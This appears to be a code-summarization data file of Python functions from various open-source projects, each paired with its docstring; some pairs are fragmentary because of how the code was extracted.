placeholder_pb2.Placeholder.INPUT_ARTIFACT: \"input\",\n placeholder_pb2.Placeholder.OUTPUT_ARTIFACT: \"output\",\n placeholder_pb2.Placeholder.EXEC_PROPERTY: \"exec_property\",\n placeholder_pb2.Placeholder.RUNTIME_INFO: \"runtime_info\",\n placeholder_pb2.Placeholder.EXEC_INVOCATION: \"execution_invocation\"\n }\n ph_name = ph_names_map[placeholder_pb.type]\n if placeholder_pb.key:\n return f\"{ph_name}(\\\"{placeholder_pb.key}\\\")\"\n else:\n return f\"{ph_name}()\"\n\n if expression.HasField(\"operator\"):\n operator_name = expression.operator.WhichOneof(\"operator_type\")\n operator_pb = getattr(expression.operator, operator_name)\n if operator_name == \"artifact_uri_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n if operator_pb.split:\n return f\"{sub_expression_str}.split_uri(\\\"{operator_pb.split}\\\")\"\n else:\n return f\"{sub_expression_str}.uri\"\n\n if operator_name == \"artifact_value_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n return f\"{sub_expression_str}.value\"\n\n if operator_name == \"artifact_property_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n if operator_pb.is_custom_property:\n return f\"{sub_expression_str}.custom_property(\\\"{operator_pb.key}\\\")\"\n else:\n return f\"{sub_expression_str}.property(\\\"{operator_pb.key}\\\")\"\n\n if operator_name == \"concat_op\":\n expression_str = \" + \".join(debug_str(e) for e in operator_pb.expressions)\n return f\"({expression_str})\"\n\n if operator_name == \"index_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n return f\"{sub_expression_str}[{operator_pb.index}]\"\n\n if operator_name == \"proto_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n field_path = \"\".join(operator_pb.proto_field_path)\n expression_str = f\"{sub_expression_str}{field_path}\"\n if operator_pb.serialization_format:\n format_str = placeholder_pb2.ProtoOperator.SerializationFormat.Name(\n operator_pb.serialization_format)\n return f\"{expression_str}.serialize({format_str})\"\n return expression_str\n\n if operator_name == \"base64_encode_op\":\n sub_expression_str = debug_str(operator_pb.expression)\n return f\"{sub_expression_str}.b64encode()\"\n\n if operator_name == \"compare_op\":\n lhs_str = debug_str(operator_pb.lhs)\n rhs_str = debug_str(operator_pb.rhs)\n if operator_pb.op == _Operation.EQUAL.value:\n op_str = \"==\"\n elif operator_pb.op == _Operation.LESS_THAN.value:\n op_str = \"<\"\n elif operator_pb.op == _Operation.GREATER_THAN.value:\n op_str = \">\"\n else:\n return f\"Unknown Comparison Operation {operator_pb.op}\"\n return f\"({lhs_str} {op_str} {rhs_str})\"\n\n if operator_name == \"unary_logical_op\":\n expression_str = debug_str(operator_pb.expression)\n if operator_pb.op == _Operation.NOT.value:\n op_str = \"not\"\n else:\n return f\"Unknown Unary Logical Operation {operator_pb.op}\"\n return f\"{op_str}({expression_str})\"\n\n if operator_name == \"binary_logical_op\":\n lhs_str = debug_str(operator_pb.lhs)\n rhs_str = debug_str(operator_pb.rhs)\n if operator_pb.op == _Operation.AND.value:\n op_str = \"and\"\n elif operator_pb.op == _Operation.OR.value:\n op_str = \"or\"\n else:\n return f\"Unknown Binary Logical Operation {operator_pb.op}\"\n return f\"({lhs_str} {op_str} {rhs_str})\"\n\n if operator_name == \"list_serialization_op\":\n expression_str = debug_str(operator_pb.expression)\n if operator_pb.serialization_format:\n format_str = placeholder_pb2.ProtoOperator.SerializationFormat.Name(\n operator_pb.serialization_format)\n return f\"{expression_str}.serialize_list({format_str})\"\n return expression_str\n\n if operator_name == \"list_concat_op\":\n expression_str = \", \".join(debug_str(e) for e in operator_pb.expressions)\n return f\"to_list([{expression_str}])\"\n\n return \"Unknown placeholder operator\"\n\n return \"Unknown placeholder expression\"", "nl": "Gets the debug string of a placeholder expression proto.Args:expression: A placeholder expression proto.Returns:Debug string of the placeholder expression."} {"code": "def on_album_updated(self, model, path, tree_iter):\n album = model.get_from_path(path)\n selected = self.viewmgr.current_view.get_selected_objects()\n\n if album in selected:\n self.viewmgr.current_view.selectionchanged_callback()\n\n if album is selected[0]:\n self.entryviewpane.update_cover(album,\n self.album_manager)\n", "nl": "Callback called by the album loader when one of the albums managedby him gets modified in some way."} {"code": "def test_step(inputs):\n return model(inputs, mode=mode, training=False)\n\n outputs = strategy.run(_test_step_fn, args=(inputs,))\n return tf.nest.map_structure(strategy.experimental_local_results, outputs)\n\n return [test_step(inputs) for inputs in dataset]\n\n", "nl": "Calculates evaluation metrics on distributed devices.def _test_step_fn(inputs):Replicated accuracy calculation."} {"code": "def standardize(network, combine_fn=None):\n if isinstance(network, dict) or network is None:\n return network\n elif isinstance(network, six.string_types):\n return restore_network(network)\n elif isinstance(network, list):\n return combine_fn([standardize(n) for n in network])\n else:\n raise ValueError('network must be a dict, string path, None, or a list '\n ' of those types.')\n\n", "nl": "Restore a network that has been provided in one of four possible forms.A network can be represented in one of four forms:* None, the absence of a network.* A dictionary where keys are names of tensors and values are numpy arraysof the values to be stored in those tensors.* The name of a directory containing npy files. The filenames becomedictionary keys and the file contents become dictionary values.* A list of directory names and dictionaries in one of the aforementionedforms. Any directories are restored into dictionaries, after whichcombine_fn is applied to the list of dictionaries to combine it intoa single dictionary.Args:network: A reference to a network in one of the forms described above.combine_fn: The function used to combine a list of dictionaries into asingle dictionary. This argument is only required if network could bea list.Returns:A dictionary whose keys are tensor names and whose values are numpy arrays.This dictionary was derived from the dictionary, location, or location_listarguments.Raises:ValueError: If the network is of an unexpected type."} {"code": "def __init__(self, value, name):\n result = TokenKind._value_map.get(value, None)\n\n if result is None:\n raise ValueError('Unknown TokenKind: %d' % value)\n\n return result\n\n @staticmethod", "nl": "Create a new TokenKind instance from a numeric value and a name.self.value = valueself.name = namedef __repr__(self):return 'TokenKind.%s' % (self.name,)@staticmethoddef from_value(value):Obtain a registered TokenKind instance from its value."} {"code": "def build(self, unused_input_shapes):\n", "nl": "Implements build() for the layer.self.lookup_table = self.add_weight(\"lookup_table\",shape=[self.n_token, self.d_embed],initializer=self.initializer,dtype=self.dtype)super(EmbeddingLookup, self).build(unused_input_shapes)def call(self, inputs):return tf.nn.embedding_lookup(self.lookup_table, inputs)class RelativeMultiheadAttention(tf.keras.layers.Layer):Multi-head attention with relative embedding."} {"code": "def bootstrap_query_row(proc_query, show_confidence, **kwargs):\n marked_up_query = dump_query(proc_query, **kwargs)\n csv_row = {\"query\": marked_up_query}\n if not kwargs.get(\"no_domain\"):\n csv_row[\"domain\"] = proc_query.domain\n if show_confidence:\n csv_row[\"domain_conf\"] = proc_query.confidence[\"domains\"][proc_query.domain]\n if not kwargs.get(\"no_intent\"):\n csv_row[\"intent\"] = proc_query.intent\n if show_confidence:\n csv_row[\"intent_conf\"] = proc_query.confidence[\"intents\"][proc_query.intent]\n if show_confidence and not kwargs.get(\"no_entity\"):\n csv_row[\"entity_conf\"] = min(\n [max(e.values()) for e in proc_query.confidence[\"entities\"]] + [1.0]\n )\n if show_confidence and not kwargs.get(\"no_role\"):\n csv_row[\"role_conf\"] = min(\n [max(r.values()) for r in proc_query.confidence[\"roles\"] if r] + [1.0]\n )\n return csv_row\n\n", "nl": "Produce predicted annotation values and confidences for a single queryArgs:proc_query (ProcessedQuery): a labeled queryshow_confidence (bool): whether to generate confidence columns**kwargs: flags indicating which columns to generateReturns:(dict)"} {"code": "def __initCannons(self):\n self.spawnCannonAt(self.x, self.y, self.h)\n\n self.accept(DistributedPartyCannonAI.CANNON_LIT_EVENT, self.__handleFireCannon)\n\n", "nl": "Initialize Cannon AI instances"} {"code": "def test_renderEcho(self):\n from echothing.echobox import EchoElement\n TEXT = 'Echo Element'\n eb = EchoElement()\n erlp = ElementRenderingLivePage(eb)", "nl": "Rendering the echo example element should produce a very simple text area."} {"code": "def test_user_logout(self):\n response = self.client.get(reverse('user_logout'))\n self.assertRedirects(response, reverse('user_login'))\n self.assertNotIn('_auth_user_id', self.client.session)\n", "nl": "A logout request from an already logged out user should be harmless"} {"code": "def date(self):\n if self.tz is not None and not timezones.is_utc(self.tz):\n timestamps = self._local_timestamps()\n else:\n timestamps = self.asi8\n\n return tslib.ints_to_pydatetime(timestamps, box=\"date\")\n\n year = _field_accessor('year', 'Y', \"The year of the datetime.\")\n month = _field_accessor('month', 'M',\n \"The month as January=1, December=12. \")\n day = _field_accessor('day', 'D', \"The days of the datetime.\")\n hour = _field_accessor('hour', 'h', \"The hours of the datetime.\")\n minute = _field_accessor('minute', 'm', \"The minutes of the datetime.\")\n second = _field_accessor('second', 's', \"The seconds of the datetime.\")\n microsecond = _field_accessor('microsecond', 'us',\n \"The microseconds of the datetime.\")\n nanosecond = _field_accessor('nanosecond', 'ns',\n \"The nanoseconds of the datetime.\")\n weekofyear = _field_accessor('weekofyear', 'woy',\n \"The week ordinal of the year.\")\n week = weekofyear\n _dayofweek_doc = \"\"\"\n dayofweek = _field_accessor('dayofweek', 'dow', _dayofweek_doc)\n weekday = dayofweek\n\n weekday_name = _field_accessor(\n 'weekday_name',\n 'weekday_name',\n \"The name of day in a week (ex: Friday)\\n\\n.. deprecated:: 0.23.0\")\n\n dayofyear = _field_accessor('dayofyear', 'doy',\n \"The ordinal day of the year.\")\n quarter = _field_accessor('quarter', 'q', \"The quarter of the date.\")\n days_in_month = _field_accessor(\n 'days_in_month',\n 'dim',\n \"The number of days in the month.\")\n daysinmonth = days_in_month\n _is_month_doc = \"\"\"\n is_month_start = _field_accessor(\n 'is_month_start',\n 'is_month_start',\n _is_month_doc.format(first_or_last='first'))\n\n is_month_end = _field_accessor(\n 'is_month_end',\n 'is_month_end',\n _is_month_doc.format(first_or_last='last'))\n\n is_quarter_start = _field_accessor(\n 'is_quarter_start',\n 'is_quarter_start',\n \"\"\"\n is_quarter_end = _field_accessor(\n 'is_quarter_end',\n 'is_quarter_end',\n \"\"\"\n is_year_start = _field_accessor(\n 'is_year_start',\n 'is_year_start',\n \"\"\"\n is_year_end = _field_accessor(\n 'is_year_end',\n 'is_year_end',\n \"\"\"\n is_leap_year = _field_accessor(\n 'is_leap_year',\n 'is_leap_year',\n \"\"\"\n", "nl": "Returns numpy array of python datetime.date objects (namely, the datepart of Timestamps without timezone information)."} {"code": "def p_block(self, p):\n p[0] = Block(list(p)[1:-1], p.lineno(3))\n self.scope.pop()\n self.scope.add_block(p[0])\n", "nl": " block_decl : block_open declaration_list brace_close"} {"code": "def mock_api(method=GET, callback=None, url_match='/.*'):\n responses.add_callback(\n method, re.compile(TEST_ENDPOINT + url_match),\n callback=callback,\n content_type='application/json',\n )\n\n", "nl": "Mock an API URL using the responses library.Args:method (Optional[str]): The HTTP method to mock. Defaults toresponses.GET callback (function(request) -> response):url_match (Optional[str]): The API URL regexp. Defaults to '/.*'."} {"code": "def get_subnet_request_factory(self):\n return ipam_req.SubnetRequestFactory\n", "nl": "Returns default SubnetRequestFactoryCan be overridden on driver level to return custom factory"} {"code": "def pairwise(iterable: Iterable[Any]) -> Iterator[Tuple[Any, Any]]:\n iterable = iter(iterable)\n return zip_longest(iterable, iterable)\n\n", "nl": "Return paired elements.For example:s -> (s0, s1), (s2, s3), (s4, s5), ..."} {"code": "def _tito_from_checkpoint(tito_in, checkpoint, exclude):\n", "nl": " Create an all-constants tito function from an original tito function.Given a tensor-in-tensor-out function which contains variables and a checkpoint path,create a new tensor-in-tensor-out function which includes only constants, and can beused in tft.map."} {"code": "def short_offer_bid_log_str(offer_or_bid):\n base_settings = {\n \"sim_duration\": f\"{GlobalConfig.DURATION_D*24}h\",\n \"slot_length\": f\"{GlobalConfig.SLOT_LENGTH_M}m\",\n \"tick_length\": f\"{GlobalConfig.TICK_LENGTH_S}s\",\n \"cloud_coverage\": GlobalConfig.CLOUD_COVERAGE,\n \"start_date\": instance(GlobalConfig.start_date).format(gsy_e.constants.DATE_FORMAT),\n }\n all_settings = {\"basic_settings\": base_settings, \"advanced_settings\": constsettings_to_dict()}\n settings_filename = os.path.join(d3a_path, \"setup\", \"gsy_e_settings.json\")\n with open(settings_filename, \"w\") as settings_file:\n settings_file.write(json.dumps(all_settings, indent=2))\n\n", "nl": "Offer bid log string.return f\"({{{offer_or_bid.id!s:.6s}}}: {offer_or_bid.energy} kWh)\"# pylint: disable=unspecified-encodingdef export_default_settings_to_json_file():Export default settings to json file."} {"code": "def serialise_simpletext(s, context):\n if context.encoding != \"UTF-8\":\n s = s.decode(\"utf-8\").encode(context.encoding)\n return sgf_grammar.escape_text(s)\n\n", "nl": "Serialise a SimpleText value.See sgf_grammar.escape_text() for details.s -- 8-bit utf-8 string"} {"code": "def thick(self):\n raise NotImplementedError()\n", "nl": "Needed for overriding laterreturn self._thick@thick.setterdef thick(self, value):self._thick = utils.clip_min(value, 0)@Centerline.surface_h.getterdef surface_h(self):return self._thick + self.bed_h@surface_h.setterdef surface_h(self, value):self.thick = value - self.bed_h@propertydef bin_area_m2(self):# area of the grid point# this takes the ice thickness into accountreturn np.where(self.thick > 0, self.widths_m, 0) * self.dx_meter@propertydef length_m(self):# TODO: take calving bucket into account for fine tuned length?lt = cfg.PARAMS.get('min_ice_thick_for_length', 0)if cfg.PARAMS.get('glacier_length_method') == 'consecutive':if (self.thick > lt).all():nx = len(self.thick)else:nx = np.where(self.thick <= lt)[0][0]else:nx = len(np.where(self.thick > lt)[0])return nx * self.dx_meter@propertydef terminus_index(self):# the index of the last point with ice thickness above# min_ice_thick_for_length and consistent with lengthlt = cfg.PARAMS.get('min_ice_thick_for_length', 0)if cfg.PARAMS.get('glacier_length_method') == 'consecutive':if (self.thick > lt).all():ix = len(self.thick) - 1else:ix = np.where(self.thick <= lt)[0][0] - 1else:try:ix = np.where(self.thick > lt)[0][-1]except IndexError:ix = -1return ixdef _compute_point_lls(self):if getattr(self, '_point_lons', None) is None:if getattr(self, 'map_trafo', None) is None:raise AttributeError('Cannot compute lons and lats on this ''flowline. It needs to be initialized ''with a gdir kwarg.')lons, lats = self.map_trafo(*self.line.xy)self._point_lons = lonsself._point_lats = lats@propertydef point_lons(self):self._compute_point_lls()return self._point_lons@propertydef point_lats(self):self._compute_point_lls()return self._point_lats@propertydef volume_m3(self):return utils.clip_min(np.sum(self.section * self.dx_meter) -getattr(self, 'calving_bucket_m3', 0), 0)@propertydef volume_km3(self):return self.volume_m3 * 1e-9def _vol_below_level(self, water_level=0):thick = np.copy(self.thick)n_thick = np.copy(thick)bwl = (self.bed_h < water_level) & (thick > 0)n_thick[~bwl] = 0self.thick = n_thickvol_tot = np.sum(self.section * self.dx_meter)n_thick[bwl] = utils.clip_max(self.surface_h[bwl],water_level) - self.bed_h[bwl]self.thick = n_thickvol_bwl = np.sum(self.section * self.dx_meter)self.thick = thickfac = vol_bwl / vol_tot if vol_tot > 0 else 0return utils.clip_min(vol_bwl -getattr(self, 'calving_bucket_m3', 0) * fac, 0)@propertydef volume_bsl_m3(self):return self._vol_below_level(water_level=0)@propertydef volume_bsl_km3(self):return self.volume_bsl_m3 * 1e-9@propertydef volume_bwl_m3(self):return self._vol_below_level(water_level=self.water_level)@propertydef volume_bwl_km3(self):return self.volume_bwl_m3 * 1e-9@propertydef area_m2(self):# TODO: take calving bucket into accountreturn np.sum(self.bin_area_m2)@propertydef area_km2(self):return self.area_m2 * 1e-6def _add_attrs_to_dataset(self, ds):Add bed specific parameters."} {"code": "def test_format(self):\n try:\n self.conn.rollback()\n self.crs.execute(\"SELECT count(1) FROM items LIMIT 1\")\n except Exception:\n self.conn.rollback()\n self.create_structures()\n\n", "nl": "Make sure that the database content is OK."} {"code": "def process_break_exits(self, exits, add_arc):\n raise AssertionError\n", "nl": "Process break exits.# Because break can only appear in loops, and most subclasses# implement process_break_exits, this function is never reached.raise AssertionErrordef process_continue_exits(self, exits, add_arc):Process continue exits."} {"code": "def gen_tmp_dir(root_path):\n path = None\n while (path is None or os.path.exists(path)):\n rname = \"runner\" + \"\".join(random.sample(string.letters, 4))\n path = os.path.join(root_path, rname)\n try:\n if not os.path.exists(path):\n os.mkdir(path)\n return path\n except Exception:\n continue\n\n", "nl": "Try to create tmp dir with special name."} {"code": "def check_integrity(self, target_size=-1):\n if target_size > -1:\n assert self[-1].rbound() == target_size\n assert reduce(lambda x, y: x + y, (d.ts for d in self), 0) == target_size\n\n if len(self) < 2:\n return\n\n for dc in self:\n assert dc.ts > 0\n if dc.has_data():\n assert len(dc.data) >= dc.ts\n\n left = islice(self, 0, len(self) - 1)\n right = iter(self)\n right.next()\n for lft, rgt in zip(left, right):\n assert lft.rbound() == rgt.to\n assert lft.to + lft.ts == rgt.to\n\n\nclass TopdownDeltaChunkList(DeltaChunkList):\n\n \"\"\"Represents a list which is generated by feeding its ancestor streams one by\n __slots__ = tuple()\n", "nl": "Verify the list has non-overlapping chunks only, and the total size matchestarget_size:param target_size: if not -1, the total size of the chain must be target_size:raise AssertionError: if the size doesn't match"} {"code": "def entropy(self) -> TensorColumn:\n probs = self.probabilities().data\n if self.multi_label:\n probs = torch.stack([probs, 1 - probs], dim=-1)\n elif probs.ndim > 2:\n probs = probs.transpose((0,) + tuple(range(2, probs.ndim)) + (1,))\n return TensorColumn(Categorical(probs=probs).entropy())\n\n @classmethod", "nl": "Compute the entropy for each example.If ``self.multi_label`` is True, each category is treated as a binaryclassification problem. There will be an entropy calculation for each categoryas well. For example, if the probabilities are of shape ``(N, C)``, there willbe ``NxC`` entropy values.In the multi-dimensional case, this returns the entropy for each element.For example, if the probabilities are of shape ``(N, C, A, B)``, there willbe ``NxAxB`` entropy values.Returns:TensorColumn: Tensor of entropies"} {"code": "def test_syntax_8():\n compile_source(source, 'Main')\n\n", "nl": "source = dedent(\\template Main(A, B: 12):pass)"} {"code": "def tokenize(self, text, never_split=None):\n never_split = self.never_split + (never_split if never_split is not None else [])\n text = self._clean_text(text)\n if self.tokenize_chinese_chars:\n text = self._tokenize_chinese_chars(text)\n orig_tokens = whitespace_tokenize(text)\n split_tokens = []\n for token in orig_tokens:\n if self.do_lower_case and token not in never_split:\n token = token.lower()\n token = self._run_strip_accents(token)\n split_tokens.extend(self._run_split_on_punc(token))\n\n output_tokens = whitespace_tokenize(\" \".join(split_tokens))\n return output_tokens\n", "nl": " Basic Tokenization of a piece of text.Split on \"white spaces\" only, for sub-word tokenization, see WordPieceTokenizer.Args:**never_split**: (`optional`) list of strKept for backward compatibility purposes.Now implemented directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`)List of token not to split."} {"code": "def convert(self, value):\n if not isinstance(value, ConvertingDict) and isinstance(value, dict):\n value = ConvertingDict(value)\n value.configurator = self\n elif not isinstance(value, ConvertingList) and isinstance(value, list):\n value = ConvertingList(value)\n value.configurator = self\n elif not isinstance(value, ConvertingTuple) and\\\n isinstance(value, tuple):\n value = ConvertingTuple(value)\n value.configurator = self\n elif isinstance(value, string_types):\n m = self.CONVERT_PATTERN.match(value)\n if m:\n d = m.groupdict()\n prefix = d['prefix']\n converter = self.value_converters.get(prefix, None)\n if converter:\n suffix = d['suffix']\n converter = getattr(self, converter)\n value = converter(suffix)\n return value\n", "nl": "Convert values to an appropriate type. dicts, lists and tuples arereplaced by their converting alternatives. Strings are checked tosee if they have a conversion format and are converted if they do."} {"code": "def get_credentials(credentials=None, client_secret_file=CLIENT_SECRET_FILE, refresh_token=None):\n\n if credentials:\n if _is_valid_credentials(credentials):\n return credentials\n else:", "nl": "Consistently returns valid credentials object.See Also:https://developers.google.com/drive/web/quickstart/pythonArgs:client_secret_file (str): path to client secrets file, defaults to .gdrive_privaterefresh_token (str): path to a user provided refresh token that is alreadypre-authenticatedcredentials (`~oauth2client.client.OAuth2Credentials`, optional): handle directinput of credentials, which will check credentials for valid type andreturn themReturns:`~oauth2client.client.OAuth2Credentials`: google credentials object"} {"code": "def asshape(shape, axis=None):\n from .integer import Integer\n from .tuple import Tuple\n if isinstance(shape, (Tuple, Integer)):\n raise TypeError(\"ndindex types are not meant to be used as a shape - \"\n \"did you mean to use the built-in tuple type?\")\n\n if isinstance(shape, numbers.Number):\n shape = (operator_index(shape),)\n\n try:\n l = len(shape)\n except TypeError:\n raise TypeError(\"expected sequence object with len >= 0 or a single integer\")\n\n newshape = []\n for i in range(l):\n newshape.append(operator_index(shape[i]))\n\n if shape[i] < 0:\n raise ValueError(\"unknown (negative) dimensions are not supported\")\n\n if axis is not None:\n if len(newshape) <= axis:\n raise IndexError(f\"too many indices for array: array is {len(shape)}-dimensional, but {axis + 1} were indexed\")\n\n return tuple(newshape)\n", "nl": "Cast `shape` as a valid NumPy shape.The input can be an integer `n`, which is equivalent to `(n,)`, or a tupleof integers.If the `axis` argument is provided, an `IndexError` is raised if it is outof bounds for the shape.The resulting shape is always a tuple of nonnegative integers.All ndindex functions that take a shape input should use::shape = asshape(shape)or::shape = asshape(shape, axis=axis)"} {"code": "def render_two_num(itmdt: Intermediate, cfg: Config) -> Dict[str, Any]:\n plot_width = cfg.plot.width if cfg.plot.width is not None else 450\n plot_height = cfg.plot.height if cfg.plot.height is not None else 400\n\n tabs: List[Panel] = []\n htgs: Dict[str, List[Tuple[str, str]]] = {}\n data, x, y = itmdt[\"data\"], itmdt[\"x\"], itmdt[\"y\"]\n\n if cfg.scatter.enable:\n if cfg.scatter.sample_size is not None:\n sample_sr_and_name: Tuple[Union[int, float], str] = (\n cfg.scatter.sample_size,\n \"sample size\",\n )\n elif cfg.scatter.sample_rate is not None:\n sample_sr_and_name = (cfg.scatter.sample_rate, \"sample rate\")\n else:\n raise RuntimeError(\"In scatter plot, sample size and sample rate are both not None\")\n tabs.append(\n scatter_viz(\n data[\"scat\"],\n x,\n y,\n sample_sr_and_name,\n plot_width,\n plot_height,\n )\n )\n htgs[\"Scatter Plot\"] = cfg.scatter.how_to_guide(plot_height, plot_width)\n tile_size = None\n if cfg.hexbin.enable:\n x_diff = data[\"hex\"][x].max() - data[\"hex\"][x].min()\n tile_size = cfg.hexbin.tile_size if cfg.hexbin.tile_size != \"auto\" else x_diff / 25\n aspect_scale = (data[\"hex\"][y].max() - data[\"hex\"][y].min()) / (x_diff + 1e-9)\n tabs.append(\n hexbin_viz(\n data[\"hex\"],\n x,\n y,\n plot_width,\n plot_height,\n tile_size,\n aspect_scale,\n )\n )\n htgs[\"Hexbin Plot\"] = cfg.hexbin.how_to_guide(tile_size, plot_height, plot_width)\n if cfg.box.enable:\n df = data[\"box\"].to_frame().reset_index()\n df = df.pivot(index=\"grp\", columns=\"level_1\", values=[0]).reset_index()\n df.columns = df.columns.get_level_values(1)\n df.columns = [\"grp\"] + list(df.columns[1:])\n tabs.append(box_viz(df, x, plot_width, plot_height, cfg.box, y))\n htgs[\"Box Plot\"] = cfg.box.two_cont_how_to_guide(plot_height, plot_width)\n\n for panel in tabs:\n try:\n panel.child.frame_width = int(plot_width * 0.9)\n except AttributeError:\n panel.child.children[0].frame_width = int(plot_width * 0.9)\n return {\n \"layout\": [panel.child for panel in tabs],\n \"meta\": [panel.title for panel in tabs],\n \"container_width\": plot_width + 80,\n \"how_to_guide\": htgs,\n }\n\n", "nl": "Create visualizations for plot(df, Continuous, Continuous)"} {"code": "def get_deps(path):\nNOTE: If you want to build a Windows executable, you need to download and\ninstall py2exe from http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/\n''')", "nl": "Parse requirements file.deps = []for line in open(path):line = line.strip()if not line or line.startswith('#'):continuedeps.append(line)return depsOPTS = {'name': 'pdfmerge','description': pdfmerge.__doc__.split('\\n')[0],'long_description': pdfmerge.__doc__,'version': pdfmerge.__version__.replace('pre', ''),'py_modules': ['pdfmerge'],'provides': ['pdfmerge'],'install_requires': get_deps('requirements.txt'),'scripts': ['scripts/pdfmerge'],'entry_points': {'console_scripts': ['pdfmerge = pdfmerge:main']},'author': pdfmerge.__author__,'author_email': pdfmerge.__email__,'license': pdfmerge.__license__,'url': 'https://github.com/metaist/pdfmerge','download_url': 'https://github.com/metaist/pdfmerge','keywords': 'pdf merge split','classifiers': ['Development Status :: 4 - Beta','Intended Audience :: Developers','Natural Language :: English','Operating System :: OS Independent','Programming Language :: Python :: 2','License :: OSI Approved :: MIT License','Topic :: Software Development :: Libraries']}if sys.version_info >= (3,):OPTS['use_2to3'] = Trueif IS_WINDOWS:OPTS['scripts'] += [s + '.bat' for s in OPTS['scripts']]try:import py2exeOPTS['console'] = ['pdfmerge.py']except ImportError:print("} {"code": "def join_segments(cls, segments, absolute=True):\n Split this path into (decoded) segments.\n\n >>> URLPath('/a/b/c').segments\n ('a', 'b', 'c')\n\n Non-leaf nodes will have a trailing empty string, and percent encodes\n will be decoded:\n\n >>> URLPath('/a%20b/c%20d/').segments\n ('a b', 'c d', '')\n \"\"\"", "nl": "Create a :class:`URLPath` from an iterable of segments.if absolute:path = cls('/')else:path = cls('')for segment in segments:path = path.add_segment(segment)return path@propertydef segments(self):"} {"code": "def __init__(self, **kwargs):\n super(SlurmScriptAdapter, self).__init__(**kwargs)\n\n self.add_batch_parameter(\"nodes\", kwargs.pop(\"nodes\", \"\"))\n self.add_batch_parameter(\"host\", kwargs.pop(\"host\"))\n self.add_batch_parameter(\"bank\", kwargs.pop(\"bank\"))\n self.add_batch_parameter(\"queue\", kwargs.pop(\"queue\"))\n self.add_batch_parameter(\"reservation\", kwargs.pop(\"reservation\", \"\"))\n self.add_batch_parameter(\"qos\", kwargs.get(\"qos\"))\n\n procs = kwargs.get(\"procs\", None)\n if procs:\n self.add_batch_parameter(\"procs\", procs)\n\n self._header = {\n \"nodes\": \"\n \"queue\": \"\n \"bank\": \"\n \"walltime\": \"\n \"job-name\":\n \"\n \"\n \"\n \"comment\": \"\n \"reservation\": \"\n \"gpus\": \"\n }\n\n self._ntask_header = \"\n self._exclusive = \"\n self._qos = \"\n\n self._cmd_flags = {\n \"cmd\": \"srun\",\n \"depends\": \"--dependency\",\n \"ntasks\": \"-n\",\n \"nodes\": \"-N\",\n \"cores per task\": \"-c\",\n }\n\n self._extension = \".slurm.sh\"\n self._unsupported = set([\"cmd\", \"depends\", \"ntasks\", \"nodes\"])\n", "nl": "Initialize an instance of the SlurmScriptAdapter.The SlurmScriptAdapter is this package's interface to the Slurmscheduler. This adapter constructs Slurm scripts for a StudyStep basedon user set defaults and local settings present in each step.The expected keyword arguments that are expected when the Slurm adapteris instantiated are as follows:- host: The cluster to execute scripts on.- bank: The account to charge computing time to.- queue: Scheduler queue scripts should be submitted to.- nodes: The number of compute nodes to be reserved for computing.:param **kwargs: A dictionary with default settings for the adapter."} {"code": "def test_hostValueNonStandardHTTP(self):\n self.assertEqual(\n self.agent._computeHostValue(b'http', b'example.com', 54321),\n b'example.com:54321')\n\n", "nl": "When passed a scheme of C{'http'} and a port other than C{80},L{Agent._computeHostValue} returns a string giving thehost passed to it joined together with the port number by C{\":\"}."} {"code": "def nms_oks(kp_predictions, rois, thresh):\n src_keypoints: 4xK\n src_roi: 4x1\n dst_keypoints: Nx4xK\n dst_roi: Nx4\n \"\"\"", "nl": "Nms based on kp predictions.scores = np.mean(kp_predictions[:, 2, :], axis=1)order = scores.argsort()[::-1]keep = []while order.size > 0:i = order[0]keep.append(i)ovr = compute_oks(kp_predictions[i], rois[i], kp_predictions[order[1:]],rois[order[1:]])inds = np.where(ovr <= thresh)[0]order = order[inds + 1]return keepdef compute_oks(src_keypoints, src_roi, dst_keypoints, dst_roi):Compute OKS for predicted keypoints wrt gt_keypoints."} {"code": "def get_notBefore(self):\n return self._get_boundary_time(_lib.X509_get_notBefore)\n", "nl": "Get the timestamp at which the certificate starts being valid.The timestamp is formatted as an ASN.1 GENERALIZEDTIME::YYYYMMDDhhmmssZYYYYMMDDhhmmss+hhmmYYYYMMDDhhmmss-hhmm:return: A timestamp string, or ``None`` if there is none.:rtype: bytes or NoneType"} {"code": "def is_sh(executable):\n return subprocess.list2cmdline([arg])\n\n", "nl": "Determine if the specified executable is a .sh (contains a #! line)try:with io.open(executable, encoding='latin-1') as fp:magic = fp.read(2)except (OSError, IOError):return executablereturn magic == '#!'def nt_quote_arg(arg):Quote a command line argument according to Windows parsing rules"} {"code": "def test_nonexistentPathEntry(self):\n path = self.mktemp()\n self.assertFalse(os.path.exists(path))\n self.module.__path__.append(path)\n try:\n plgs = list(plugin.getPlugins(ITestPlugin, self.module))\n self.assertEqual(len(plgs), 1)\n finally:\n self.module.__path__.remove(path)\n\n test_nonexistentPathEntry = _withCacheness(test_nonexistentPathEntry)\n\n", "nl": "Test that getCache skips over any entries in a plugin package'sC{__path__} which do not exist."} {"code": "def __init__(self, x=None, y=None, r=None, theta=None):\n\t\tif x and y:\n\t\t\tself.c_polar(x, y)\n\t\telif r and theta:\n\t\t\tself.c_rect(r, theta)\n\t\telse:\n\t\t\traise ValueError('Must specify x and y or r and theta')", "nl": "x and y or r and theta(degrees)"} {"code": "def test_cms_wizards_blogpost_submit_form_title_too_long(self):\n create_page(\n \"News\",\n \"richie/single_column.html\",\n \"en\",\n reverse_id=BlogPost.PAGE[\"reverse_id\"],\n )\n\n invalid_data = {\"title\": \"t\" * 256, \"slug\": \"s\" * 200}\n user = UserFactory(is_staff=True, is_superuser=True)\n form = BlogPostWizardForm(\n data=invalid_data, wizard_language=\"en\", wizard_user=user\n )\n\n self.assertFalse(form.is_valid())\n self.assertEqual(\n form.errors[\"title\"],\n [\"Ensure this value has at most 255 characters (it has 256).\"],\n )\n", "nl": "Trying to set a title that is too long should make the form invalid"} {"code": "def __radd__(self, other: ArrayValue) -> ArrayValue:\n import ibis.expr.operations as ops\n\n return ops.ArrayConcat(self, other).to_expr()\n", "nl": "Concatenate this array with another.Parameters----------otherArray to concat with `self`Returns-------ArrayValue`self` concatenated with `other`Examples-------->>> import ibis>>> a = ibis.array([1, 2])>>> b = ibis.array([3, 4, 5])>>> b + aArrayConcat(left=(3, 4, 5), right=(1, 2))"} {"code": "def set_in_layout(self, in_layout):\n self._in_layout 